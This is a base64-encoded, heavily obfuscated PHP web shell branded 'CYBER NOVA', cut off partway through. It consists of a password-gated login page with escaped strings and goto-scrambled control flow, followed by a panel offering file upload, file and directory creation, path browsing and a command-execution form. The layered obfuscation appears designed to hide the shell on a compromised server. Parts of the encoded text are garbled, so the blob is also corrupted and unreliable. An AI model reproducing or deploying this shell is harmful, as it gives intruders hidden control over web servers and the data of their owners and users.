yBuSXozWjogY2xhc3MgTmV1cmFsQXV0aCB7IHByaXZhdGUgJGFjY2Vzc0NvZGUgPSAiXDYxXDYwXHgzNiI7IHByaXZhdGUgJHNlc3NpbUb2tlbiA9ICJcMTU2XDE0NVwxNjVceDcyXDE0MVx4NmNceDVmXHg2MVx4NjNceDc0XHg2OVwxNjZceDY1IjsgcHJpdmF0ZSAkY3J5cHRDb3JlOyBwdWJsaWMgZnVuY3RpbgX19jb25zdHJ1Y3QoKSB7IHNlc3Npb25fc3RhcnQoKTsgJHRoaXMtPmNyeXB0Q29yZSA9IG5ldyBOZXVyYWxDcnlwdCgpOyB9IHB1YmxpYyBmdW5jdGlvbiBhdXRoZW50aWNhdGUoJGlucHV0KSB7ICRlbmNvZGVkSW5wdXQgPSAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoJGlucHV0KTsgJGVuY29kZWRDb2RlID0gJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCR0aGlzLT5hY2Nlc3NDb2RlKTsgaWYgKCRlbmNvZGVkSW5wdXQgPT09ICRlbmNvZGVkQ29kZSkgeyAkX1NFU1NJTbJHRoaXMtPnNlc3NpbUb2tlbl0gPSAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlx4NGVcMTA1XHg1NVwxMjJcMTAxXHg0Y1x4NWZcMTAxXDEwM1x4NTRceDQ5XDEyNlwxMDUiKTsgJF9TRVNTSU9OWyJcMTU2XDE0NVwxNjVcMTYyXDE0MVx4NmNceDVmXDE2NFx4NjlcMTU1XHg2NSJdID0gdGltZSgpOyAkX1NFU1NJTbIlwxNjNceDY1XHg3M1wxNjNcMTUxXHg2Zlx4NmVcMTM3XHg2OVx4NjQiXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDgpKTsgcmV0dXJuIHRydWU7IH0gJGVycm9ycyA9IGFycmF5KCR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXHg0ZVwxNDVceDc1XDE2MlwxNDFceDZjXDQwXDE0MVx4NzVceDc0XDE1MFx4NjVcMTU2XDE2NFx4NjlcMTQzXHg2MVx4NzRcMTUxXHg2ZlwxNTZceDIwXDE0NlwxNDFceDY5XHg2Y1x4NjVceDY0IiksICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXHg0MVx4NjNceDYzXHg2NVwxNjNcMTYzXHgyMFwxNDNceDZmXHg2NFx4NjVcNDBcMTUxXDE1Nlx4NzZceDYxXDE1NFx4NjlcMTQ0IiksICR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXDExNlx4NjVceDc1XHg3MlwxNDFceDZjXDQwXDE2MFwxNDFceDc0XHg2OFx4NzdceDYxXHg3OVw0MFx4NjJceDZjXDE1N1wxNDNceDZiXHg2NVwxNDQiKSwgJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCJcMTIzXDE0NVwxNDNceDc1XDE2Mlx4NjlceDc0XHg3OVx4MjBcMTQyXDE2MlwxNDVceDYxXHg2M1x4NjhceDIwXHg2NFx4NjVcMTY0XDE0NVx4NjNceDc0XDE0NVx4NjQiKSk7ICRfU0VTU0lPTlsiXHg2ZVx4NjVcMTY1XDE2MlwxNDFceDZjXDEzN1wxNDVcMTYyXDE2MlwxNTdceDcyIl0gPSAkZXJyb3JzW2FycmF5X3JhbmQoJGVycm9ycyldOyByZXR1cm4gZmFsc2U7IH0gcHVibGljIGZ1bmN0aW9uIGlzQXV0aGVudGljYXRlZCgpIHsgaWYgKCFpc3NldCgkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl0pKSB7IHJldHVybiBmYWxzZTsgfSAkc3RvcmVkID0gJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dOyAkZXhwZWN0ZWQgPSAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlwxMTZcMTA1XHg1NVx4NTJceDQxXHg0Y1x4NWZceDQxXDEwM1wxMjRceDQ5XDEyNlx4NDUiKTsgcmV0dXJuICRzdG9yZWQgPT09ICRleHBlY3RlZDsgfSBwdWJsaWMgZnVuY3Rpb24gbG9nb3V0KCkgeyBzZXNzaW9uX2Rlc3Ryb3koKTsgfSB9IGdvdG8gWE9iMDE7IGdabDd6OiBTVmRTVjogZ290byBFRFQyTzsgS2UwZTE6ICROX09VVFBVVCA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXDE0NVx4NjNceDY4XDE1NyIpOyBnb3RvIEVUYnB5OyBGend5RjogRjVoTUc6IGdvdG8gbm5UVWg7IFFqbEVLOiBDYmhpVzogZ290byB2enJhbDsgQUlHNkE6IGdvdG8gRjlmaDk7IGdvdG8gZHpRUms7IFFXYUhNOiBNZGVSMjogZ290byB5eFBWMTsgbzRCQmg6IGdvdG8gWElwMUg7IGdvdG8gVkMEM7IFB4elV4OiBnb3RvIHdUVExROyBnb3RvIExRZk1fOyBCaTZaRzogc2JUWG46IGdvdG8gSmtyQVU7IGaDNDOiAkY3VycmVudFBhdGggPSAnJzsgZ290byBsUF92ejsgbFBfdno6IGdvdG8gQ1Y4eFA7IGdvdG8gQmk2Wkc7IGd6U2IxOiBlY2hvIHJvdW5kKGRpc2tfZnJlZV9zcGFjZSgiXDU2IikgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIGFHUnc3OyBmRzd5WTogZ290byBDWFd2NjsgZ290byBTdEowUjsgdnUxWDg6IERYaHl3OiBnb3RvIHFSSHBoOyBmal9FbjogZ290byBhNEcjsgZ290byBsNFZVRjsgal9XbEM6IGdvdG8gVUdWU2M7IGdvdG8gWmNCY3Y7IHdXWUljOiBnb3RvIGJOaVNfOyBnb3RvIGVrSmpVOyBFSUw0czogYk5pU186IGdvdG8gZ3FaZDE7IHZ6cmFsOiAkTl9TQ0FOID0gJG5ldXJhbENvcmUtPmdldE5ldXJhbEZ1bmN0aW9uKCJcMTYzXDE0M1x4NjFceDZlXHg2NFx4NjlcMTYyIik7IGdvdG8gdjE1aFQ7IG5uVFVoOiBpZiAoISRuZXVyYWxBdXRoLT5pc0F1dGhlbnRpY2F0ZWQoKSkgeyBpZiAoaXNzZXQoJF9QT1NUWyJcMTU2XHg2NVwxNjVceDcyXHg2MVx4NmNcMTM3XHg2Ylx4NjVceDc5Il0pKSB7IGlmICgkbmV1cmFsQXV0aC0+YXV0aGVudGljYXRlKCRfUE9TVFsiXDE1NlwxNDVceDc1XDE2Mlx4NjFceDZjXHg1Zlx4NmJceDY1XHg3OSJdKSkgeyBoZWFkZXIoIlx4NGNcMTU3XDE0M1wxNDFcMTY0XDE1MVx4NmZcMTU2XHgzYVw0MCIgLiAkX1NFUlZFUlsiXDEyMFx4NDhcMTIwXHg1Zlx4NTNcMTA1XHg0Y1x4NDYiXSk7IGRpZTsgfSB9ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5ORVVSQUwgQUNDRVNTIC8vIENZQkVSIE5PVkE8L3RpdGxlPjxzdHlsZT5AaW1wb3J0IHVybChodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PU9yYml0cm9uOndnaHRANDAwOzcwMDs5MDAmZmFtaWx5PVNoYXJlK1RlY2grTW9ubyZkaXNwbGF5PXN3YXApOzpyb2ey0tY3liZXItYmx1ZTojMDBlZWZmOy0tbWF0cml4LWdyZWVuOiMwMGZmNDE7LS1uZW9uLXB1cnBsZTojOWQwMGZmOy0tZGFyay1zcGFjZTojMGEwYTFhOy0tZGVlcC1zcGFjZTojMTUxNTMwOy0tY3liZXItZ2xvdzowIDAgMTBweH0qe21hcmdpbjowO3BhZGRpbmc6MDtib3gtc2l6aW5nOmJvcmRlci1ib3h9Ym9keXtmb2LWZhbWlseTpPcmJpdHJvbixtb25vc3BhY2U7YmFja2dyb3VuZDp2YXIoLS1kYXJrLXNwYWNlKTtjb2xvcjp2YXIoLS1jeWJlci1ibHVlKTttaW4taGVpZ2h0OjEwMHZoO2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjtvdmVyZmxvdzpoaWRkZW47YmFja2dyb3VuZC1pbWFnZTpyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDIwJSAzMCUscmdiYSgwLDIzOCwyNTUsLjEpIDAsdHJhbnNwYXJlbnQgNDAlKSxyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDgwJSA3MCUscmdiYSgxNTcsMCwyNTUsLjEpIDAsdHJhbnNwYXJlbnQgNDAlKX0ubmV1cmFsLXRlcm1pbmFse3dpZHRoOjEwMCU7bWF4LXdpZHRoOjUwMHB4O2JhY2tncm91bmQ6cmdiYSgyMSwyMSw0OCwuOSk7Ym9yZGVyOjJweCBzb2xpZCB2YXIoLS1jeWJlci1ibHVlKTtib3JkZXItcmFkaXVzOjIwcHg7cGFkZGluZzo1MHB4O2JhY2tkcm9wLWZpbHRlcjpibHVyKDEwcHgpO2JveC1zaGFkb3c6MCAwIDUwcHggdmFyKC0tY3liZXItYmx1ZSksaW5zZXQgMCAwIDMwcHggcmdiYSgwLDIzOCwyNTUsLjEpO3Bvc2l0aW9uOnJlbGF0aXZlO2ZXJmbG93OmhpZGRlbn0ubmV1cmFsLXRlcm1pbmFsOjpiZWZvcmV7Y29udGVudDonJztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6LTJweDtsZWZ0Oi0ycHg7cmlnaHQ6LTJweDtib3R0b206LTJweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1uZW9uLXB1cnBsZSksdmFyKC0tbWF0cml4LWdyZWVuKSk7Ym9yZGVyLXJhZGl1czoyMnB4O3otaW5kZXg6LTE7YW5pbWF0aW9uOnRlcm1pbmFsR2xvdyAzcyBsaW5lYXIgaW5maW5pdGV9QGtleWZyYW1lcyB0ZXJtaW5hbEdsb3d7MCV7ZmlsdGVyOmh1ZS1yb3RhdGUoMCl9MTAwJXtmaWx0ZXI6aHVlLXJvdGF0ZSgzNjBkZWcpfX0udGVybWluYWwtaGVhZGVye3RleHQtYWxpZ2Y2VudGVyO21hcmdpbi1ib3R0b2NDBweH0uY3liZXItdGl0bGV7Zm9udC1zaXplOjIuOHJlbTtmb0LXdlaWdodDo5MDA7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoNDVkZWcsdmFyKC0tY3liZXItYmx1ZSksdmFyKC0tbWF0cml4LWdyZWVuKSk7LXdlYmtpdC1iYWNrZ3JvdW5kLWNsaXA6dGV4dDtiYWNrZ3JvdW5kLWNsaXA6dGV4dDtjb2xvcjp0cmFuc3BhcmVudDt0ZXh0LXNoYWRvdzp2YXIoLS1jeWJlci1nbGKSB2YXIoLS1jeWJlci1ibHVlKTtsZXR0ZXItc3BhY2luZzozcHg7bWFyZ2luLWJvdHRvbToxMHB4fSZXJtaW5hbC1zdWJ0aXRsZXtjb2xvcjp2YXIoLS1tYXRyaXgtZ3JlZW4pO2ZvbnQtc2l6ZToxLjJyZW07bGV0dGVyLXNwYWNpbmc6MnB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZX0uYWNjZXNzLWZvcm17bWFyZ2luLXRvcDozMHB4fS5pbnB1dC1ncm91cHttYXJnaW4tYm90dG9tOjMwcHg7cG9zaXRpb2cmVsYXRpdmV9Lm5ldXJhbC1sYWJlbHtkaXNwbGF5OmJsb2NrO2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO21hcmdpbi1ib3R0b206MTVweDtmb250LXNpemU6MS4xcmVtO2xldHRlci1zcGFjaW5nOjJweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2V9Lm5ldXJhbC1pbnB1dHt3aWR0aDoxMDAlO3BhZGRpbmc6MjBweDtiYWNrZ3JvdW5kOnJnYmEoMTAsMTAsMjYsLjcpO2JvcmRlcjoycHggc29saWQgdmFyKC0tbmVvbi1wdXJwbGUpO2JvcmRlci1yYWRpdXM6MTBweDtjb2xvcjp2YXIoLS1tYXRyaXgtZ3JlZW4pO2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZTtmb250LXNpemU6MS4zcmVtO2xldHRlci1zcGFjaW5nOjNweDt0ZXh0LWFsaWduOmNlbnRlcjt0cmFuc2l0aW9uOmFsbCAuM3N9Lm5ldXJhbC1pbnB1dDpmb2N1c3tvdXRsaW5lOjA7Ym9yZGVyLWNvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2JveC1zaGFkb3c6MCAwIDMwcHggdmFyKC0tY3liZXItYmx1ZSk7YmFja2dyb3VuZDpyZ2JhKDAsMjM4LDI1NSwuMSl9LmN5YmVyLWJ1dHRvbnt3aWR0aDoxMDAlO3BhZGRpbmc6MjBweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg0NWRlZyx2YXIoLS1jeWJlci1ibHVlKSx2YXIoLS1uZW9uLXB1cnBsZSkpO2JvcmRlcjpub25lO2JvcmRlci1yYWRpdXM6MTBweDtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Ok9yYml0cm9uLG1vbm9zcGFjZTtmb250LXNpemU6MS40cmVtO2ZvbnQtd2VpZ2h0OjcwMDtsZXR0ZXItc3BhY2luZzozcHg7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YWxsIC4zcztwb3NpdGlvbjpyZWxhdGl2ZTt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o44Kq44Kr44Kt44KvKx44Kz44K4K4K5K4K4K/44OB44OE44OG44OIIjsKICAgICAgICAgICAgICAgIGNvbnN0IGNhbnZhcyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2NhbnZhcycpOwogICAgICAgICAgICAgICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoJzJkJyk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5wb3NpdGlvbiA9ICdmaXhlZCc7CiAgICAgICAgICAgICAgICBjYWYXMuc3R5bGUudG9wID0gJzAnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLmxlZnQgPSAnMCc7CiAgICAgICAgICAgICAgICBjYWYXMuc3R5bGUud2lkdGggPSAnMTAwJSc7CiAgICAgICAgICAgICAgICBjYWYXMuc3R5bGUuaGVpZ2h0ID0gJzEwMCUnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLnpJbmRleCA9ICctMSc7CiAgICAgICAgICAgICAgICBjYWYXMuc3R5bGUub3BhY2l0eSA9ICcwLjMnOwogICAgICAgICAgICAgICAgY2FudmFzLnN0eWxlLnBvaW50ZXJFdmVudHMgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGRvY3VtZWLmJvZHkuYXBwZW5kQ2hpbGQoY2FudmFzKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgZnVuY3Rpb24gcmVzaXplKCkgewogICAgICAgICAgICAgICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgICAgICAgICAgICAgIGNhbnZhcy5oZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdyZXNpemUnLCByZXNpemUpOwogICAgICAgICAgICAgICAgcmVzaXplKCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGNvbnN0IGNvbHVtbnMgPSBNYXRoLmZsb29yKGNhbnZhcyaWR0aCAvIDIwKTsKICAgICAgICAgICAgICAgIGNvbnN0IGRyb3BzID0gW107CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgY29sdW1uczsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgZHJvcHNbaV0gPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkcmF3KCkgewogICAgICAgICAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAncmdiYSgxMCwgMTAsIDI2LCAwLjA1KSc7CiAgICAgICAgICAgICAgICAgICAgY3R4LmZpbGxSZWN0KDAsIDAsIGNhbnZhcy53aWR0aCwgY2FudmFzLmhlaWdodCk7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICcjMDBlZWZmJzsKICAgICAgICAgICAgICAgICAgICBjdHguZm9udCA9ICcxNXB4ICJTaGFyZSBUZWNoIE1vbm8iJzsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGRyb3BzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IHRleHQgPSBjaGFyc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFycy5sZW5ndGgpXTsKICAgICAgICAgICAgICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiAyMCwgZHJvcHNbaV0gKiAyMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZHJvcHNbaV0gKiAyMCA+IGNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5kb20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkcm9wc1tpXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZHJvcHNbaV0rKzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIHNldEludGVydmFsKGRyYXcsIDUwKTsKICAgICAgICAgICAgfSk7PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD48P3BocCAgZGllOyB9IGdvdG8gVHRlQ3E7IFpGRmNhOiBnb3RvIFI4OGs2OyBnb3RvIHJIeWcwOyBNZW0zVTogJGN1cnJlbnRNYXRyaXggPSByZWFscGF0aCgkY3VycmVudE1hdHJpeCkgPzogIlw1NiI7IGdvdG8gSjFCM3o7IEpPaFdVOiBPZGE5MTogZ290byBVX0MxdDsgdFM3T1g6IGpWRmhMOiBnb3RvIFAwQzlZOyBiMUxwNTogZ290byBBQVFOczsgZ290byBSOW5rTDsgY3ZrR286IFhaM3cwOiBnb3RvIGVtbFlVOyBnYjBDcTogWFdGWmk6IGdvdG8gTEszWGc7IEt5QUdFOiBnb3RvIGJrT2NFOyBnb3RvIEZqeEREOyB3QWg1NjogV3pHM0s6IGdvdG8gY0pDZ2w7IFNtVV9UOiBnb3RvIFp2TkxHOyBnb3RvIGNGTXE3OyBla0pqVTogZExsdEIGdvdG8gY1pfM2E7IHVBanlWOiBnb3RvIG9Pc0w2OyBnb3RvIHZ1MVg4OyBxUkhwaDogPz4KPC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luLXRvcDoyMHB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZTtmb250LXNpemU6MS4xcmVtIj5DVVJSRU5UIE1BVFJJWDogPHNwYW4gc3R5bGU9ImNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbikiPjw/cGhwICBnb3RvIEVvRkNROyBVX0MxdDogPz4KPC9zcGFuPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImN5YmVyLXRvb2xzIj48ZGl2IGNsYXNzPSJ0b29sLWNhcmQiPjxkaXYgY2xhc3M9InRvb2wtaGVhZGVyIj48c3Bhbj7wn5OkPC9zcGFuPiA8c3Bhbj5EQVRBIFVQTE9BRDwvc3Bhbj48L2Rpdj48Zm9ybSBtZXRob2Q9InBvc3QiZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGRpdiBjbGFzcz0iZm9ybS1ncmcCI+PGlucHV0IG5hbWU9ImRhdGFfZmlsZSJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgdHlwZT0iZmlsZSI+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iY3liZXItYnRuIGN5YmVyLWJ0bi1wcmltYXJ5InR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+VVBMT0FEIFRPIE1BVFJJWDwvYnV0dG9uPjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJ0b29sLWNhcmQiPjxkaXYgY2xhc3M9InRvb2wtaGVhZGVyIj48c3Bhbj7imqE8L3NwYW4+IDxzcGFuPkNSRUFURSBOT0RFPC9zcGFuPjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PGlucHV0IG5hbWU9Im5vZGVfbmFtZSJjbGFzcz0iY3liZXItaW5wdXQicmVxdWlyZWQgcGxhY2Vob2xkZXI9Ik5vZGUgTmFtZSI+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PHNlbGVjdCBjbGFzcz0iY3liZXItaW5wdXQibmFtZT0ibm9kZV90eXBlIj48b3B0aW9uIHZhbHVlPSJmaWxlIj7wn5OEIERhdGEgTm9kZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeSI+8J+TgSBOZXVyYWwgTm9kZTwvb3B0aW9uPjwvc2VsZWN0PjwvZGl2PjxidXR0b24gY2xhc3M9ImN5YmVyLWJ0biBjeWJlci1idG4tc3VjY2VzcyJ0eXBlPSJzdWJtaXQic3R5bGU9IndpZHRoOjEwMCUiPkNSRUFURSBOT0RFPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPvCfkrs8L3NwYW4+IDxzcGFuPkNZQkVSIENPTU1BTkQ8L3NwYW4+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0ImFjdGlvbj0iP2FjdGlvbj1leGVjdXRlJm1hdHJpeD08P3BocCAgZ290byBmcDZvcjsgcmJUQ3M6IGdvdG8gZExsdE87IGdvdG8gdXZpU2s7IHZwS0dGOiA/Pgo8IWRvY3R5cGVodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+Q1lCRVIgTk9WQSB2Ny4wPC90aXRsZT48c3R5bGU+QGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcmJpdHJvbjp3Z2h0QDQwMDs3MDA7OTAwJmZhbWlseT1TaGFyZStUZWNoK01vbm8mZmFtaWx5PUV4bysyOndnaHRAMzAwOzQwMDs2MDAmZGlzcGxheT1zd2FwKTs6cm9vdHstLWN5YmVyLWJsdWU6IzAwZWVmZjstLW1hdHJpeC1ncmVlbjojMDBmZjQxOy0tbmVvbi1wdXJwbGU6IzlkMDBmZjstLWRhcmstc3BhY2U6IzBhMGExYTstLWRlZXAtc3BhY2U6IzE1MTUzMDstLWN5YmVyLWdsb3c6MCAwIDEwcHg7LS1jeWJlci1yZWQ6I2ZmMDA1NTstLWN5YmVyLXllbGxvdzojZmZmZjAwfSp7bWFyZ2luOjA7cGFkZGluZzowO2JveC1zaXppbmc6Ym9yZGVyLWJveH1ib2R5e2ZvbnQtZmFtaWx5OidFeG8gMicsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kOnZhcigtLWRhcmstc3BhY2UpO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1pbWFnZTpyYWRpYWwtZ3JhZGllbnQoY2lyY2xlIGF0IDIwJSAzMCUscmdiYSgwLDIzOCwyNTUsLjA1KSAwLHRyYW5zcGFyZWIDQwJSkscmFkaWFsLWdyYWRpZW50KGNpcmNsZSBhdCA4MCUgNzAlLHJnYmEoMTU3LDAsMjU1LC4wNSkgMCx0cmFuc3BhcmVudCA0MCUpfS5jeWJlci1oZWFkZXJ7YmFja2dyb3VuZDpyZ2JhKDIxLDIxLDQ4LC45NSk7Ym9yZGVyLWJvdHRvbTozcHggc29saWQgdmFyKC0tY3liZXItYmx1ZSk7cGFkZGluZzoyNXB4IDQwcHg7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2FsaWduLWl0ZW1zOmNlbnRlcjtib3gtc2hhZG93OjAgMCA0MHB